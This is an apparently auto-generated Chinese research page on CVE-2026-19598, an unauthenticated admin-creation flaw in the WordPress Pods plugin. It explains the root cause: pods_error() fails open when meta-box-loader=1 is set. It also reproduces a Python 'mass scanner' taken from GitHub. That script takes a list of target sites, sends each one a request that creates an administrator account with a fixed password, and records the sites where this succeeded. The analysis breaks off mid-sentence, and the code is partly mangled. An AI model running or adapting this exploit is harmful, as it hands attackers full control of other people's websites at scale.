🔥 CVE-2026-19598 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-19598 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>Pods – Custom Content Types and Fields 插件在 3.3.9 及之前版本中存在一处严重的授权绕过漏洞(CVE-2026-19598,CVSS 9.8)。该漏洞允许未认证攻击者调用 <code>pods_admin</code> AJAX 路由中的特权方法,从而创建管理员账户或重置任意用户密码,最终完全接管 WordPress 站点。问题根源在于 <code>pods_error()</code> 在 <code>meta-box-loader=1</code> 的 JSON 兼容路径下只将错误写入 PHP 日志并返回 <code>false</code>,没有终止请求,导致方法白名单、Nonce 校验、登录状态检查、权限验证等全部防线形同虚设。</p> <h2>📌 漏洞概述</h2> <p>CVE-2026-19598 是一个影响 WordPress 插件 <strong>Pods – Custom Content Types and Fields</strong> 的严重安全漏洞,CVSS 评分为 <strong>9.8</strong>,属于 <strong>特权提升 / 授权绕过</strong> 类型。</p> <ul> <li><strong>CVE ID:</strong>CVE-2026-19598</li> <li><strong>CVSS 评分:</strong>9.8(Critical)</li> <li><strong>攻击方式:</strong>远程网络攻击,无需认证,无需用户交互</li> <li><strong>影响版本:</strong>Pods 插件 ≤ 3.3.9</li> <li><strong>漏洞本质:</strong>通过 AJAX 路由 <code>pods_admin</code> 实现鉴权绕过,导致未认证用户可以执行管理员操作</li> <li><strong>CISA KEV:</strong>目前未被收录</li> </ul> <h2>🔬 漏洞根因分析</h2> <p>Pods 插件通过 WordPress 的 <code>admin-ajax.php</code> 暴露了一个名为 <code>pods_admin</code> 的 AJAX 路由。该路由用于处理后台管理操作,其内部实现了“方法分发器”:根据请求参数 <code>method</code> 调用具体的处理方法,例如 <code>save_user</code>、<code>settings</code> 等。</p> <p>在正常设计下,该路由器在分发前会执行多层安全检查,包括:</p> <ul> <li><strong>方法白名单校验:</strong>判断 <code>method</code> 是否属于允许调用的管理方法;</li> <li><strong>Nonce 校验:</strong>验证 <code>_wpnonce</code> 是否有效,防止 CSRF 和未授权调用;</li> <li><strong>登录状态校验:</strong>确认当前请求者是否已登录;</li> <li><strong>权限校验:</strong>确认当前用户是否具备 <code>manage_options</code> 等管理员能力。</li> </ul> <p>问题在于:这四类安全检查在失败时,全部通过调用 <code>pods_error()</code> 来报告错误。开发者可能默认 <code>pods_error()</code> 会像 <code>wp_die()</code> 一样输出错误并终止请求执行。但是,当请求中携带 <code>meta-box-loader=1</code> 时,<code>pods_error()</code> 会进入所谓的“JSON meta-box-loader 兼容路径”。在该路径下,函数只会把错误信息写入 PHP 错误日志,然后返回 <code>false</code>,而不会终止 PHP 执行。</p> <p>因此,攻击者只需在请求中同时提交 <code>action=pods_admin</code>、<code>meta-box-loader=1</code>、<code>method=save_user</code>,并省略或清空 <code>_wpnonce</code>,就能让所有安全校验“失败但不阻断”。由于路由器没有检查 <code>pods_error()</code> 的返回值,代码会在安全校验失败后继续执行,最终进入

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言py来源ksotaria1337/CVE-2026-19598针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

#!/usr/bin/env python3
import requests
import sys
from concurrent.futures import ThreadPoolExecutor,as_completed

def exploit_single(target_url):
    target_url = target_url.rstrip('/')
    ajax_url = target_url + "/wp-admin/admin-ajax.php"
    
    data = {"action": "pods_admin","method": "save_user","meta-box-loader": "1","user_login": "admin_test","user_pass": "P@ssw0rd123!",
"user_email": "admin_test@test.com","role": "administrator","_wpnonce": "","_wp_http_referer": "/wp-admin/admin.php?page=pods-settings"
    }try:
        resp = requests.post(ajax_url,data=data,timeout=10)
        if resp.status_code == 200 and ("user_id" in resp.text or "success" in resp.text.lower()):
            return {"url": target_url,"status": "VULNERABLE","response": resp.text[:200]}
else:
            return {"url": target_url,"status": "NOT VULNERABLE","response": resp.text[:200]}except Exception as e:
        return {"url": target_url,"status": "ERROR","response": str(e)}
def main():
    print("MASS SCANNER CVE-2026-19598")
    print("")
    
    file_name = input("File name (example: targets.txt): ").strip()
    
    if not file_name:
        print("File name cannot be empty")
        sys.exit(1)
    
    try:
        with open(file_name,
"r") as f:
            targets = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"File {file_name}not found")
        sys.exit(1)
    
    if not targets:
        print("File is empty")
        sys.exit(1)
    
    print(f"Loaded {len(targets)}
targets from {file_name}")
    print("Starting scan...")
    print("")
    
    results = []
    vulnerable_list = []
    
    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = {executor.submit(exploit_single,target): target for target in targets}
for future in as_completed(futures):
            result = future.result()
            results.append(result)
            status = result["status"]
            url = result["url"]
            
            if status == "VULNERABLE":
                print(f"[+] {url}->VULNERABLE")
                vulnerable_list.append(url)
            else:
                print(f"[-] {url}->
{status}")
    
    if vulnerable_list:
        with open("vulnerable.txt","w") as f:
            for v in vulnerable_list:
                f.write(v + "\n")
        
        print("")
        print(f"Vulnerable targets saved to vulnerable.txt ({len(vulnerable_list)}found)")
    else:
        print("")
        print("No vulnerable targets found.")

if __name__ == "__main__":
    main()

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-20 03:03

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)